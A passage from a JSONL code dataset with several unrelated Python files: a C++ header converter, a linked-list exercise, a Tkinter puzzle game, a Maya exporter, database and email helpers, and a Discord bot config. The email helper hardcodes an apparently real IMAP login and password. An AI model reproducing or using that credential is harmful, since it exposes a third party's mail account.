stack_class[-1]\n                if line.lstrip().startswith(class_name + '('):\n                    is_constructor = True\n\n            match_start = pattern_start.search(m[i])\n            match_end = pattern_end.search(m[i])\n            if (match_start):     # like  ) {  or ) {}    int the last line\n              if not match_end:\n                stack.append('normal_now')\n              j = start_i                #fixed 09.11.17\n              while (j <= i):\n                f2.write(m[j])\n                j += 1\n              i += 1\n              continue\n\n            #here we do the kernel sub  #--------------------------------如果找到,先进行了替换abc();->abc(){}\n            #this is important without these will -> #if __GNUC__ > 3 || defined(WIN32)  -> #if __GNUC__ > 3 || defined(WIN32); as function..\n            #(line,match) = pattern.subn(r'\\2 \\n{\\n\\n}\\n\\n',line)  \n            no_mark = 0\n            func_line_temp = line  \n            if not re.search(';\\s*$', line):    #默认情况下将加上;使得它可以被转移到实现文件中\n                line = line.rstrip()\n                line += ';\\n'\n                no_mark = 1\n                func_line_temp = line\n\n            if is_constructor:\n                if line.find('):') > 0 or line.find(') :') > 0:\n                    line = line[:line.rfind(':')] + ';\\n'\n                    m[i] = m[i][:m[i].rfind(':')]\n\n            if no_mark:\n                if not re.search(r'^\\s*{\\s*$', m[i+1]):\n                    if not is_constructor:\n                        j = start_i   \n                        while (j <= i):\n                            f2.write(m[j])\n                            j += 1\n                        i += 1\n                        continue\n                    else:\n                        while (not re.search(r'^\\s*{\\s*$', m[i+1])):\n                            m[i + 1] = ''\n                            i += 1\n\n            (line,match) = pattern.subn(r'\\2\\n',line)  #key sub!!! 比如最后的; 去掉void play(); -> void play()\n\n            #print '^^^', line\n            #print '[' + line + ']' + '(' +  str(match) + ')'\n            #temp add 尝试兼容返回值在单独一行的情况\n            if re.search(r'^\\s*(inline)?\\s*[a-zA-Z0-9_]+\\s*$', m[start_i - 1]):\n                line = m[start_i - 1] + line\n            line = line.lstrip() \n            #match = 1\n            if (not match):   \n                f2.write(m[i])   \n                i += 1\n                continue\n            #-------------------------------------------------------------OK,找到了函数,下面进行处理后输出\n            friend_match = re.search('friend ',line)\n            #line = pattern2.sub('',line)            #--------------------delete virtural explict friend! 由于现在只是输出interface 所以不去掉!\n            func_name = ''\n            template_line = ''\n            if len(stack_class) > 0 and not friend_match :  #-----类成员函数class status if friend we will not add class name\n                line = template_line + template_string +  line;     \n                #line = template_line + template_string +  line2;        #must use line2..   \n                func_name = re.search('^.*\\)',line,re.MULTILINE|re.DOTALL).group()\n            else:                  #--------------------------------普通函数(非类成员函数)的情况!\n                stack_template.append(template_string)\n                if  (stack_template[-1] != ''):\n                    template_line = re.sub(r'\\s*template','template',stack_template[-1])\n                    #------------------delete < class T = a, class U = A(3)> -> \n                    template_line = re.sub('\\s*=.*>(\\s*)$',r'>\\1',template_line) #代码重复,TODO以后整合 \n                    template_line = re.sub(r'\\s*=.*,',',',template_line)\n                    template_line = re.sub(r'\\s*=.*','',template_line)\n                line = template_line + line\n                #line = template_line + line2\n                stack_template.pop()\n                func_name = re.search('^.*\\)',line,re.MULTILINE|re.DOTALL).group()\n\n            #--------------------------------------------------------把已经在头文件定义的代码也拷贝过去\n            content = ''\n            lmatch = 0\n            #特殊的写法对于{单独一行的情况把其上函数在头文件定义的代码也拷贝过去\n            #@NOTICE 注意 }}; 会有问题 , 预处理format-cplusplus.py会处理去掉这种可能,多个{}都加回车转移到单独的行\n            if i + 1 < len(m) and re.search(r'^\\s*{\\s*$', m[i+1]):               \n                i = i + 2\n                lmatch = 1\n                while (lmatch != 0):\n                    if (not pattern_comment.search(m[i])) and re.search('{', m[i]): #唯一可能的问题是注释 //  if (n > 1) {i\n                        lmatch += 1\n                    if (not pattern_comment.search(m[i])) and re.search(r'}',m[i]):\n                        lmatch -= 1\n                    content += m[i].lstrip()\n                    i += 1\n                i -= 1\n\t\t\t\t\t\t#-------------------------------------------------------------------------加上上面的注释也拷贝过去                       \n            #----------------------------------------------如果函数已经在实现文件中存在,不输出\n            #@NOTICE 查看结果debug重要的打印\n            #print '----', line, i #完整的函数 带有上面template\n            #print '####',func_line_temp, i #只有函数 不带template,\n            line = pyplusplus_hack(line, content)\n            f2.write(line)\n            i += 1  #-----------------------------------------------------------------------next line处理下一行\n    #------------------------------loop done 处理结束 \n    #print('Added %d functions'%func_sum)\n    f2.close()\n\n\n#-----------------------------------------------------------user input\ndef main(argv):    \n    global input_file    \n    try:                                \n        opts, args = getopt.getopt(argv, \"h\", [\"help\"]) \n    except getopt.GetoptError:           \n        print(usage.__doc__) \n        sys.exit(2)\n\n    if len(opts) > 0:\n        for o, a in opts: \n            if o in (\"-h\", \"--help\"): \n                print(usage.__doc__) \n                sys.exit()\n    if len(args) > 0:\n        input_file = args[0]\n        output_file = input_file.replace('.h', '.i')\n        if len(args) > 1:\n            output_file = args[1]\n        h2interface(input_file, output_file)\n    else:\n        print(usage.__doc__)\n        sys.exit()\n\n\nif __name__ == \"__main__\":\n    main(sys.argv[1:])\n","sub_path":"python-wrapper-gccxml/h2interface.py","file_name":"h2interface.py","file_ext":"py","file_size_in_byte":22784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"535350262","text":"\"\"\"Given a singly linked list of size N. The task is to swap elements in the linked list pairwise.\nFor example, if the input list is 1 2 3 4, the resulting list after swaps will be 2 1 4 3.\nNote: You need to swap the nodes, not only the data. If only data is swapped then driver will print -1.\n\nExample 1:\n\nInput:\nLinkedList: 1->2->2->4->5->6->7->8\nOutput: 2 1 4 2 6 5 8 7\nExplanation: After swapping each pair\nconsidering (1,2), (2, 4), (5, 6).. so\non as pairs, we get 2, 1, 4, 2, 6, 5,\n8, 7 as a new linked list.\"\"\"\n\nclass Solution:\n    def pairWiseSwap(self, head):\n        if head.next is None and head:\n            return head\n\n        p = head\n        new_head = p.next\n\n        while(p):\n            q = p.next\n            temp = q.next\n            q.next = p\n            if temp == None or temp.next == None:\n                p.next = temp\n                break\n            p.next = temp.next\n            p = temp\n        return new_head\n\nclass Node:\n    def __init__(self, data):\n        self.data = data\n        self.next = None\n\nclass LinkedList:\n    def __init__(self):\n        self.head = None\n        self.tail = None\n\n    def insert(self, val):\n        if self.head == None:\n            self.head = Node(val)\n            self.tail = self.head\n        else:\n            self.tail.next = Node(val)\n            self.tail = self.tail.next\n\ndef printList(n):\n    while(n):\n        print(n.data, end = \" \")\n        n = n.next\n    print(\" \")\n\nt = int(input())\nfor i in range(t):\n    n = int(input())\n    arr = list(map(int, input().strip().split()))\n    lis = LinkedList()\n    for i in arr:\n        lis.insert(i)\n\n    dict1 = {}\n    temp = lis.head\n    while(temp):\n        dict1[temp] = temp.data\n        temp = temp.next\n\n    failure = LinkedList()\n    failure.insert(-1)\n\n    head = Solution().pairWiseSwap(lis.head)\n\n    temp = head\n    f = 0\n    while(temp):\n        if dict1[temp] != temp.data:\n            f = 1\n        temp = temp.next\n\n    if f:\n        printList(failure)\n    else:\n        printList(head)\n","sub_path":"Linked_List/pairwise_swap_linked_list.py","file_name":"pairwise_swap_linked_list.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"212650424","text":"# -*- coding: utf-8 -*-\r\n# Автор: Пензов Сергей\r\n# картинки 400 х 400 маркировка правой нижней клетки серым цветом + шум\r\n\r\n# Подключение модулей\r\n\r\nimport os, tkinter, random\r\nfrom PIL import Image, ImageTk, ImageDraw\r\n\r\n# dir_name = \"nums\"\r\nSIDE = 4\r\n#IMG = \"23.jpg\"\r\nimages_list = (\"1.jpg\",\"2.jpg\",\"3.jpg\",\"4.jpg\",\"5.jpg\",\"6.jpg\",\"7.jpg\",\"8.jpg\",\r\n               \"9.jpg\",\"10.jpg\",\"11.jpg\",\"12.jpg\",\"13.jpg\",\"14.jpg\",\"15.jpg\",\"16.jpg\",\r\n               \"17.jpg\",\"18.jpg\",\"19.jpg\",\"20.jpg\",\"21.jpg\",\"22.jpg\",\"23.jpg\",\"24.jpg\",\r\n               \"25.jpg\",\"26.jpg\",\"27.jpg\",\"28.jpg\",\"29.jpg\",\"30.jpg\",\"31.jpg\",\"32.jpg\",\"33.jpg\",\"34.jpg\")\r\n\r\nIMG = images_list[random.randint(0,len(images_list)-1)]\r\nmoves = 0\r\n\r\n# Окончание игры путем сравнения расположения фишек\r\n# с первоначальным положением индексов картинок\r\np=[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15] # начальный список индексов\r\ndef IsSolution():\r\n    result = True\r\n    for i in p:\r\n        if p[i] != i:\r\n            result = False\r\n            break\r\n    return result\r\n\r\n\r\ndef label_above(curr):\r\n    ''' Вернуть соседа сверху\r\n    '''\r\n    return labels[(curr.row - 1) * SIDE + curr.column]\r\n\r\n\r\ndef label_under(curr):\r\n    ''' Вернуть соседа снизу\r\n    '''\r\n    return labels[(curr.row + 1) * SIDE + curr.column]\r\n\r\n\r\ndef label_left(curr):\r\n    ''' Вернуть соседа слева\r\n    '''\r\n    return labels[curr.row * SIDE + curr.column - 1]\r\n\r\n\r\ndef label_right(curr):\r\n    ''' Вернуть соседа справа\r\n    '''\r\n    return labels[curr.row * SIDE + curr.column + 1]\r\n\r\n\r\ndef render(curr, near):\r\n    ''' Отрисовка расположения двух клеток\r\n    '''\r\n    # if near is not None:\r\n    if near:\r\n        curr.grid(row=curr.row, column=curr.column)\r\n        near.grid(row=near.row, column=near.column)\r\n\r\n\r\ndef exchange(curr, near):\r\n    ''' Обмен местами клеток в общем списке\r\n    '''\r\n    # if near is not None:\r\n    global EndOfGame\r\n    global p\r\n    global moves\r\n    if near:\r\n        ci = curr.row * SIDE + curr.column\r\n        ni = near.row * SIDE + near.column\r\n        labels[ci], labels[ni] = labels[ni], labels[ci]\r\n\r\n        p[ci],p[ni] = p[ni],p[ci]   # обмен индексов\r\n\r\n        # Вывод количества ходов\r\n\r\n        moves += 1\r\n        label_3 = tkinter.Label(main_window, text=str(moves))\r\n        label_3.grid(row=5, column=1)\r\n        if IsSolution() and moves>0:\r\n            label_4 = tkinter.Label(main_window, text='Победа!')\r\n            label_4.grid(row=6, column=0)\r\n            EndOfGame=True\r\n\r\n\r\ndef key_press(btn):\r\n    ''' Основная логика перемещения на игровом поле.\r\n        Основной элемент логики - пустая клетка - от неё определяем соседа.\r\n        Потом меняем координаты пустой клетки и соседа.\r\n    '''\r\n    near = None  # <- None - специальное значение в Питоне - \"ничто\"\r\n\r\n    global EndOfGame # При окончании игры отключаем клавиши\r\n    # EndOfGame = False\r\n    if not(EndOfGame):\r\n        if btn == 'r' and curr.column > 0:\r\n            # print('Вправо')\r\n            near = label_left(curr)\r\n            curr.column -= 1\r\n            near.column += 1\r\n        elif btn == 'l' and curr.column < SIDE - 1:\r\n            # print('Влево')\r\n            near = label_right(curr)\r\n            curr.column += 1\r\n            near.column -= 1\r\n        elif btn == 'u' and curr.row < SIDE - 1:\r\n            # print('Вверх')\r\n            near = label_under(curr)\r\n            curr.row += 1\r\n            near.row -= 1\r\n        elif btn == 'd' and curr.row > 0:\r\n            # print('Вниз')\r\n            near = label_above(curr)\r\n            curr.row -= 1\r\n            near.row += 1\r\n\r\n        exchange(curr, near)\r\n        render(curr, near)\r\n\r\n\r\ndef mix_up():\r\n    ''' Перемешивание клеток\r\n        SIDE ** 4 - взято для лучшего перемешивания,\r\n         т.к. не все вызовы функции нажатия кнопок\r\n         будут приводить к движению клеток на поле\r\n    '''\r\n    global moves\r\n    buttons = ['d', 'u', 'l', 'r']\r\n    for i in range(SIDE ** 4):\r\n        x = random.choice(buttons)  # <- choice - функция из модуля random\r\n        # print('ход {}: {}'.format(i, x))\r\n        key_press(x)\r\n        moves = -1\r\n\r\n'''\r\n# выделение правого нижнего квадратика серым цветом для новых картинок\r\n\r\ndef markir():\r\n    image = Image.open(IMG)\r\n\r\n    draw = ImageDraw.Draw(image)\r\n    width = image.size[0]\r\n    height = image.size[1]\r\n    pix = image.load()\r\n\r\n    for i in range(width-width//4,width):\r\n        for j in range(height-height//4,height):\r\n            a = pix[i, j][0]\r\n            b = pix[i, j][1]\r\n            c = pix[i, j][2]\r\n            s = (a + b + c) // 3\r\n            draw.point((i, j), (s, s, s))\r\n    image.save(IMG)\r\n\r\n# добавление шумов в правый нижний угол\r\n\r\ndef shum():\r\n    image = Image.open(IMG)\r\n    factor = 50\r\n    draw = ImageDraw.Draw(image)\r\n    width = image.size[0]\r\n    height = image.size[1]\r\n    pix = image.load()\r\n\r\n    for i in range(width-width//4,width):\r\n        for j in range(height-height//4,height):\r\n            rand = random.randint(-factor, factor)\r\n            a = pix[i, j][0] + rand\r\n            b = pix[i, j][1] + rand\r\n            c = pix[i, j][2] + rand\r\n            if (a < 0):\r\n                a = 0\r\n            if (b < 0):\r\n                b = 0\r\n            if (c < 0):\r\n                c = 0\r\n            if (a > 255):\r\n                a = 255\r\n            if (b > 255):\r\n                b = 255\r\n            if (c > 255):\r\n                c = 255\r\n            draw.point((i, j), (a, b, c))\r\n    image.save(IMG)\r\n'''\r\ndef get_regions(image):\r\n    ''' Функция разбиения изображения на квадратики.\r\n        На входе ожидает объект PIL.Image\r\n        Возвращает список картинок-квадратиков ImageTk.PhotoImage\r\n    '''\r\n    regions = []\r\n    pixels = image.width // SIDE\r\n    for i in range(SIDE):\r\n        for j in range(SIDE):\r\n            x1 = j * pixels\r\n            y1 = i * pixels\r\n            x2 = j * pixels + pixels\r\n            y2 = i * pixels + pixels\r\n            box = (x1, y1, x2, y2)\r\n            region = image.crop(box)\r\n            region.load()\r\n            regions.append(ImageTk.PhotoImage(region))\r\n    return regions\r\n\r\n\r\nmain_window = tkinter.Tk()\r\nmain_window.title(\"Puzzle 15\")\r\n\r\n# Включить обе процедуры для новых картинок\r\n# markir()\r\n# shum()\r\n\r\nimage=Image.open(IMG)\r\nimage_objects_list = get_regions(image)\r\n\r\n\r\nlabels = []\r\n\r\nfor i in range(SIDE):\r\n    for j in range(SIDE):\r\n        # переход от 2D в 1D\r\n        x = i * SIDE + j\r\n        label = tkinter.Label(main_window, image=image_objects_list[x])\r\n        label.grid(row=i, column=j)\r\n        # дополнительные атрибуты объекта label\r\n        label.row = i\r\n        label.column = j\r\n        label.x = x\r\n        labels.append(label)\r\n\r\ncurr = labels[-1]\r\n\r\n\r\n\r\nlabel_2 = tkinter.Label(main_window, text='Ходов = ')\r\nlabel_2.grid(row=5,column=0)\r\n\r\n# mix_up\r\nEndOfGame=False\r\n# if moves<=0 and IsSolution():\r\nmain_window.after(2000, mix_up) # Перемешивание после временной задержки\r\n\r\n\r\nmain_window.bind('', lambda x: key_press('u'))\r\nmain_window.bind('', lambda x: key_press('d'))\r\nmain_window.bind('', lambda x: key_press('l'))\r\nmain_window.bind('', lambda x: key_press('r'))\r\n# main_window.bind('', lambda x: exit(0)) # Почему-то не работало\r\n\r\nmain_window.mainloop()\r\n","sub_path":"game15_img.py","file_name":"game15_img.py","file_ext":"py","file_size_in_byte":8244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"444972397","text":"import maya.cmds as cmds\nimport maya.OpenMayaAnim as animAPI\n\nclass AlembicExporter:\n    def __init__(self):\n        pass\n\n    def create(self):\n        self.BuildLayout()\n\n    def BuildLayout(self):\n        # Setting up window and layout stuff.\n        self.window = cmds.window(widthHeight=(400,100), title=\"Alembic Exporter\", resizeToFitChildren=1)\n        cmds.columnLayout(rowSpacing=5)\n        cmds.rowLayout(numberOfColumns=3)\n        cmds.text(label=\"Repository Path:\")\n        self.pathField = cmds.textField(placeholderText=\"E:\\Git Repos\\senior-kaiju-film\",width=200)\n        self.fileButton = cmds.button(label=\"Find Directory\", command=lambda x: self.openFileDialog())\n        cmds.setParent('..')\n        cmds.rowLayout(numberOfColumns=3)\n        cmds.text(label=\"File Depth\")\n        self.depthCollection = cmds.radioCollection()\n        self.depth01 = cmds.radioButton(label=\"1\")\n        self.depth02 = cmds.radioButton(label=\"2\")\n        cmds.setParent('..')\n        cmds.rowLayout(numberOfColumns=3)\n        self.checkBoxGroup = cmds.checkBoxGrp(numberOfCheckBoxes=3, labelArray3=['Zilla','Kong','Princess'])\n        cmds.setParent('..')\n        cmds.button(label=\"Execute\",command=lambda x: self.Execute())\n        cmds.setParent('..')\n        cmds.setParent('..')\n        \n        #allowedAreas = ['right', 'left']\n        #cmds.dockControl( area='left', content=myWindow, allowedArea=allowedAreas )\n        cmds.showWindow(self.window)\n\n    def Export(self, repoDirectory, depth, value1, value2, value3):\n        selection = cmds.ls(geometry=True) # Restrict by characters\n        # Start and end are determined by the time slider.\n        start = animAPI.MAnimControl.minTime().value()\n        end = animAPI.MAnimControl.maxTime().value()\n\n        # Picking which geometry will be exported.\n        rootZilla = [\"Zilla:LowerTeeth_Combined_geo\",\"Zilla:Body_highPoly_9_28_geo\",\"Zilla:Body_highPoly_9_28_geo1\",\"Zilla:L_Eye_geo\",\"Zilla:R_Eye_geo\",\"Zilla:Tongue_highPoly_geo\",\"Zilla:UpperGums_lowPoly_geo\",\"Zilla:UpperTeeth_Combined_geo\",\"Zilla:LowerGums_lowPoly_geo\",\"Zilla:LowerTeethFinal\",\"Zilla:UpperTeethFinal\",\"Zilla:Zilla_MultiUdim:R_Eye_geo\",\"Zilla:Zilla_MultiUdim:L_Eye_geo\",\"Zilla:Zilla_MultiUdim:Tongue_highPoly_geo\",\"Zilla:Zilla_MultiUdim:LowerTeethFinal\",\"Zilla:Zilla_MultiUdim:UpperTeethFinal\"]\n        rootKong = [\"Kong:Kong_HighPoly_geo_Copy\",\"Kong:R_TempEye_geo\",\"Kong:L_TempEye_geo\",\"Kong:Kong_Model_05:Tongue\",\"Kong:Kong_Model_05:UpperteethFinal\",\"Kong:Kong_Model_05:lowerTeethFinal\"]\n        rootPrincess = [\"Princess:Top_Teeth\",\"Princess:Bottom_Teeth\",\"Princess:Tongue\",\"Princess:L_Eye_Gloss_Geo\",\"Princess:Eye_White_Geo\",\"Princess:Eye_Pupil_Geo\",\"Princess:R_Eye_Gloss_Geo\",\"Princess:Eye_White_Geo\",\"Princess:Eye_Pupil_Geo\",\"Princess:Princess_Mesh_New\"]\n        root = \"\"\n        if value1 == True:\n            for x in rootZilla:\n                root += \" -root \" + x\n        if value2 == True:\n            for x in rootKong:\n                root += \" -root \" + x\n        if value3 == True:\n            for x in rootPrincess:\n                root += \" -root \" + x\n\n        # Creating string describing file path of new alembic.\n        self.filename = cmds.file(query=True,sn=1) # Querying filename of current scene to isolate scene number.\n        splitFilename = self.filename.split('/')\n        holding = splitFilename[depth]\n        holding2 = holding.split(' ')\n        shotNum = holding2[1] # Isolate shot number, eg. 05\n        targetFolder = \"Shot \" + shotNum\n        save_name = \"\\\"\" + repoDirectory + \"/Senior Project Big Files/Animation/Alembic/\" + targetFolder + \"/Shot\" + shotNum + \"_Alembic.abc\\\"\"\n\n        # Assembling final AbcExport command arguments\n        command = \"-frameRange \" + str(int(start)) + \" \" + str(int(end)) +\" -uvWrite -worldSpace -writeUVSets -stripNamespaces -renderableOnly\" + root + \" -file \" + save_name\n        cmds.AbcExport ( j = command ) # Export\n\n    # Controls the file browser\n    def openFileDialog(self, *args):\n        filePath = cmds.fileDialog2(fileMode=3)\n        cmds.textField(self.pathField, edit = True, tx = filePath[0])\n\n    def Execute(self):\n        repoInput = cmds.textField(self.pathField, query=1, text=1) # File path of repo\n        depth01 = cmds.radioButton(self.depth01, query=True, select=True)\n        if depth01 == True:\n            depth = -2\n        else:\n            depth = -3\n        value1 = cmds.checkBoxGrp(self.checkBoxGroup, query=True, value1=1) # Zilla checked?\n        value2 = cmds.checkBoxGrp(self.checkBoxGroup, query=True, value2=1) # Kong checked?\n        value3 = cmds.checkBoxGrp(self.checkBoxGroup, query=True, value3=1) # Princess checked?\n        print(depth)\n        self.Export(repoInput, depth, value1, value2, value3)\n\ntest = AlembicExporter()\ntest.create()","sub_path":"AlembicExporter.py","file_name":"AlembicExporter.py","file_ext":"py","file_size_in_byte":4794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"437120134","text":"\"\"\"\n写入数据库示例2\n\"\"\"\n\nimport pymysql\n\n# 链接数据库\ndb = pymysql.connect(host = \"localhost\",\n                     port = 3306,\n                     user=\"root\",\n                     password='123456',\n                     database=\"stu\",\n                     charset=\"utf8\")\n\n# 创建游标 (调用sql语句,获取执行结果)\ncur = db.cursor()\n\n# 写数据操作\nl = [\n    ('Dave',15,'m',81),\n    ('Ala',16,'w',82),\n    ('Baron',17,'m',83)\n]\ntry:\n    sql = \"insert into cls (name,age,sex,score) values (%s,%s,%s,%s);\"\n\n    # for i in l:\n    #     cur.execute(sql,i)\n\n    cur.executemany(sql,l) # 执行多次sql语句\n\n    db.commit()   # 提交\nexcept Exception as e:\n    print(e)\n    db.rollback() # 回滚\n\n\n\n# 关闭游标和数据库\ncur.close()\ndb.close()","sub_path":"day10/write_db2.py","file_name":"write_db2.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"430628839","text":"from email.mime.application import MIMEApplication\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.text import MIMEText\r\nfrom email.utils import formatdate\r\nfrom email import message_from_string\r\nimport smtplib\r\nimport imaplib\r\nimport os\r\n\r\n\r\nclass Email:\r\n\r\n    def __init__(self, email_type='error', use_tag=True):\r\n        self.__recipients = 'vitaliy.ch@mserverone.com'\r\n        self.__smtp = 'mail.mserverone.com'\r\n        self.__port = 465\r\n        self.__sender = 'autotest@mserverone.com'\r\n        self.__subject = '[AUTOMATED]'\r\n        self.__email_type = email_type\r\n        self.__body_title = ''\r\n        self.__body_settings = ''\r\n        self.__use_tag = use_tag\r\n\r\n    def set_recipients(self, recipients):\r\n        self.__recipients = recipients\r\n\r\n    def set_subject(self, subject):\r\n        self.__subject = ' '.join((self.__subject, subject)) if self.__use_tag else subject\r\n\r\n    def set_body_title(self, title):\r\n        self.__body_title = title.capitalize()\r\n\r\n    def set_body_settings(self, settings):\r\n        self.__body_settings = settings\r\n\r\n    def __set_error_style(self, message):\r\n        if self.__body_title == '':\r\n            self.__body_title = self.__subject\r\n        return '%s:\\n\\n%s\\n\\nError text:\\n%s' % (self.__body_title, self.__body_settings, message)\r\n\r\n    def __set_notification_style(self, message):\r\n        if self.__body_title != '':\r\n            self.__body_title += '\\n\\n'\r\n        return '%s%s' % (self.__body_title, message)\r\n\r\n    def __set_message_style(self, message):\r\n        if self.__email_type == 'error':\r\n            return self.__set_error_style(message)\r\n        if self.__email_type == 'notification':\r\n            return self.__set_notification_style(message)\r\n        return message\r\n\r\n    def send(self, message, file=None):\r\n        msg = MIMEMultipart()\r\n        msg['Subject'] = self.__subject\r\n        msg['From'] = self.__sender\r\n        msg['To'] = self.__recipients\r\n        msg[\"Date\"] = formatdate(localtime=True)\r\n        msg.attach(MIMEText(self.__set_message_style(message)))\r\n        if file is not None:\r\n            if isinstance(file, (list, tuple)):\r\n                for f in file:\r\n                    part = MIMEApplication(open(f, 'rb').read(), _subtype='application/x-mobipocket-ebook')\r\n                    part.add_header('Content-Disposition', 'attachment', filename=os.path.basename(f))\r\n                    msg.attach(part)\r\n            else:\r\n                part = MIMEApplication(open(file, 'rb').read(), _subtype='application/x-mobipocket-ebook')\r\n                part.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file))\r\n                msg.attach(part)\r\n        s = smtplib.SMTP_SSL(host=self.__smtp, port=self.__port)\r\n        s.send_message(msg)\r\n        s.quit()\r\n\r\n\r\nclass Imap:\r\n\r\n    def __init__(self, host='imap.mserverone.com', login='autotest@mserverone.com', pw='OarEnIcNob6', port=993):\r\n        self.imap = imaplib.IMAP4_SSL(host=host, port=port)\r\n        self.imap.login_cram_md5(login, pw)\r\n        self.imap.select()\r\n\r\n    def __del__(self):\r\n        self.imap.close()\r\n        self.imap.logout()\r\n\r\n    def get_emails(self, condition=('ALL', 'UNSEEN')):\r\n        emails = []\r\n        typ, data = self.imap.sort('REVERSE DATE', 'UTF-8', *condition)\r\n        for num in data[0].split():\r\n            typ, data = self.imap.fetch(num, '(RFC822)')\r\n            msg = message_from_string(data[0][1].decode('utf-8'))\r\n            m = {'from': msg['From'], 'to': msg['To'], 'subject': msg['Subject'], 'body': self.get_body(msg)}\r\n            emails.append(m)\r\n        return emails\r\n\r\n    def get_emails_by_alias(self, alias):\r\n        return self.get_emails(condition=('TO {}'.format(alias), ))\r\n\r\n    @staticmethod\r\n    def get_body(msg):\r\n        if msg.is_multipart():\r\n            m = []\r\n            for payload in msg.get_payload():\r\n                m.append(payload.get_payload())\r\n            return m\r\n        else:\r\n            return msg.get_payload()\r\n","sub_path":"custom_library/innogroup/innogroup/tools/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":4028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"375041418","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nProblem 10:\nCreated on Fri Jun  5 08:17:22 2020\n\n@author: krishnendu\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef fun(x):\n        if abs(x)<1:\n         return 1\n        else :\n         return 0\n     \n        \nxmin=-50    #xmin value\nxmax=50     #xmax value\n\n    \ndef fourier(n):\n   \n   \n   numpoints=n         #number of sample points\n\n   dx=(xmax-xmin)/(numpoints-1)      \n\n   sampled_data=np.zeros(numpoints)\n\n   xarr=np.zeros(numpoints)\n\n   for i in range(numpoints):\n    sampled_data[i]=fun(xmin+i*dx)          #sampling the data\n    xarr[i]=xmin+i*dx\n\n   nft=np.fft.fft(sampled_data,norm='ortho')       #computing dft of the data using numpy.fft.fft\n\n   karr=np.fft.fftfreq(numpoints,d=dx)          #computing the frequencies \n\n   karr=2*np.pi*karr\n   factor=np.exp(-1j*karr*xmin)\n   aft=dx*np.sqrt(numpoints/(2.0*np.pi))*factor*nft\n   karr=np.fft.fftshift(karr)         #shifting the frequencies\n\n   aft=np.fft.fftshift(aft)           #shifting the fourier transform\n\n   plt.plot(karr,abs(aft))       #plotting the fourier transform computed by numpy.fft.fft\n    \n   plt.title(\"numpoints=\"+str(n))\n   plt.suptitle(\"Fourier transform of the function\")\n   plt.xlabel(\"frequency(k)\",size=14)\n   plt.grid()\n   plt.show()\n \nx=np.linspace(-5,5,100)          \nplt.plot(x,[fun(x[i]) for i in range(len(x))])  \nplt.xlabel(\"x\",size=14)\nplt.ylabel(\"f(x)\",size=14)\nplt.title(\"plot of the function\",size=18)\nplt.grid()\nplt.show()\n\nfourier(512)\nfourier(1024)\nfourier(2048)\n\n    \n\n","sub_path":"Problem_10.py","file_name":"Problem_10.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"536982101","text":"import os\n\n\nlisting = os.walk('.')\nfor path, directories, files in listing:\n    print(path)\n    for d in directories:\n        print(d)\n    for file in files:\n        print(file)\n\n\ndef list_directories(s):\n    def list_dir(d):\n        nonlocal tab_stop\n        files = os.listdir(d)\n        for file in files:\n            current_dir = os.path.join(d, file)\n            if os.path.isdir(current_dir):\n                print(\"\\t\" * tab_stop + \"Directory \" + file)\n                tab_stop += 1\n                list_dir(current_dir)\n                tab_stop -=1\n            else:\n                print(\"\\t\" * tab_stop + file)\n\n\n\n    tab_stop = 0\n    if os.path.exists(s):\n        print(\"Directory listing \" + s)\n        list_dir(s)\n    else:\n        print(s + \"does not exist\")\n\n\n# def list_directories(p):\n#     files = os.listdir(p)\n#     for file in files:\n#         print(\"1:\", file)\n#         path = os.path.join(p, file)\n#         print(\"2:\", path)\n\nlist_directories('.')\n","sub_path":"hello 2/5. recursive os module.py","file_name":"5. recursive os module.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"112560262","text":"import hashlib\nimport datetime\n\n# Basic bot config, insert your token here, update description if you want\nprefixes = [\"robo:\"]\ntoken = \"token-goes-here\"\nbot_description = \"Robocop-NG, the moderation bot of SecureChat\"\n\n# If you forked robocop-ng, put your repo here\nsource_url = \"https://github.com/cheesycod/robocop-ng\"\nrules_url = \"https://reswitched.team/discord/#rules\"\n\n# The bot description to be used in .robocop embed\nembed_desc = (\n    \"Robocop-NG is developed by [Ave](https://github.com/aveao)\"\n    \" and [tomGER](https://github.com/tumGER), and is a rewrite \"\n    \"of Robocop.\\nRobocop is based on Kurisu by 916253 and ihaveamac.\"\n)\n\n\n# The cogs the bot will load on startup.\ninitial_cogs = [\n    \"cogs.common\",\n    \"cogs.admin\",\n    \"cogs.verification\",\n    \"cogs.mod\",\n    \"cogs.mod_note\",\n    \"cogs.mod_reacts\",\n    \"cogs.mod_userlog\",\n    \"cogs.mod_timed\",\n    \"cogs.mod_watch\",\n    \"cogs.basic\",\n    \"cogs.logs\",\n    \"cogs.err\",\n    \"cogs.lockdown\",\n    \"cogs.legacy\",\n    \"cogs.remind\",\n    \"cogs.robocronp\",\n    \"cogs.meme\",\n    \"cogs.invites\",\n    \"cogs.pin\"\n]\n\n# The following cogs are also available but aren't loaded by default:\n# cogs.imagemanip - Adds a meme command called .cox.\n# Requires Pillow to be installed with pip.\n# cogs.lists - Allows managing list channels (rules, FAQ) easily through the bot\n\n\n# Minimum account age required to join the guild\n# If user's account creation is shorter than the time delta given here\n# then user will be kicked and informed\nmin_age = datetime.timedelta(minutes=5)\n\n# The bot will only work in these guilds\nguild_whitelist = [718563359179669587]  # SecureChat discord\n\n# Named roles to be used with .approve and .revoke\n# Example: .approve User hacker\nnamed_roles = {\n    \"god\": 719797799381762049,\n    